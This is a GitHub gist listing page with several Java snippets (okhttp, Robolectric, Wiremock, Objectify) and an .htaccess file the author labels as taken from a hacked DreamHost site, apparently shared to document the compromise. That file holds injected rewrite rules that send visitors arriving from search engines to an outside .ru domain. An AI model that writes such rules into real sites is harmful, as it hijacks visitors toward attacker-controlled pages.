Skip to content

Instantly share code, notes, and snippets.

@handstandsam
handstandsam / SessionMismatchException.java
Last active October 4, 2021 20:17
Protecting session sensitive responses with Retrofit 2 and okhttp 3
import java.net.SocketTimeoutException;
/** This exception extends {@link SocketTimeoutException} so that okhttp3 will not retry if retry is enabled. */
public class SessionMismatchException extends SocketTimeoutException {
public SessionMismatchException() {
super("Session Mismatch");
}
}
package com.capitalone.mobile.wallet.testing;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.robolectric.RuntimeEnvironment;
import org.robolectric.manifest.ActivityData;
import org.robolectric.manifest.AndroidManifest;
@handstandsam
handstandsam / AndroidAssetsBinaryFile.java
Last active March 16, 2018 09:08
Wiremock Android Assets FileSource (In Progress)
package wiremock_tests;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.util.List;
import android.content.res.AssetManager;
@handstandsam
handstandsam / ObjectifyGeocellQueryEngine.java
Created April 19, 2012 14:53
Geomodel Geocell Query Engine for Objectify
import java.util.List;
import java.util.StringTokenizer;
import com.beoui.geocell.GeocellQueryEngine;
import com.beoui.geocell.model.GeocellQuery;
import com.googlecode.objectify.Objectify;
import com.googlecode.objectify.Query;
/**
* Objectify implementation for GeocellQueryEngine.
@handstandsam
handstandsam / .htaccess
Created March 6, 2012 01:50
.htaccess file on hacked DreamHost Site.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://pool-massage.ru/mysave/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang